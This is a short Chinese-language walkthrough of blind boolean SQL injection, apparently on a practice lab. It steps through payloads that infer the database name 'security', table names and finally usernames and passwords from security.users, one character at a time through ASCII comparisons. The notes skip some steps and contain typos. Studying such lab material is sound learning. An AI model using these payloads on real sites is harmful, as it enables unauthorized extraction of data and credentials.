1.求闭合字符
由此可以判断是单引号闭合字符
2.求当前数据库名的长度 二分法
?id=1’ and length(database())=8
数据库名的长度为8
3.求当前数据库名对应的ASCII值
?Id=1’ and ascii(substr(database(),1,1))=115
数据库名第一个字符对应的ASCII值为 115 s
数据库名第二个字符对应的ASCII值为101 e
数据库名第三个字符对应的ASCII值为99 c
数据库名第四个字符对应的ASCII值为117 u
可以得出数据库名为 security
4.求表的数量
?Id-1’ and (select count(table_name) from information_schema.tables where table_schema=’’)=4
数据库里有4个表
- 求表名的长度
6.求表名对应的ASCII值
Id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’’ limit 0,1),1,1))=101
第一个表的第一个ASCII值为 101 e
第一个表的第二个字符的ASCII值为 109 m
第一个表的第三个字符的ASCII值为 97 a
第一个表的第四个字符的ASCII值为 105 i
第一个表的第五个字符的ASCII值为 108 l
第一个表的第六个字符的ASCII值为 115 s
所以第一个表的名字为 emails
7.求列的数量
Id=1’ and (select count(column_name)from information_schema.columns where table_schema=’’ and table_name=’’)=3
8.求字段的数量
Id=1’ and (select count(username) from security.users)=13
11.求字段内容的长度
与上面的求法一样
12.求字段内容对应的ASCII值
Id=1’ and ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))=68
第一行的第一个字符的ASCII值为 68 D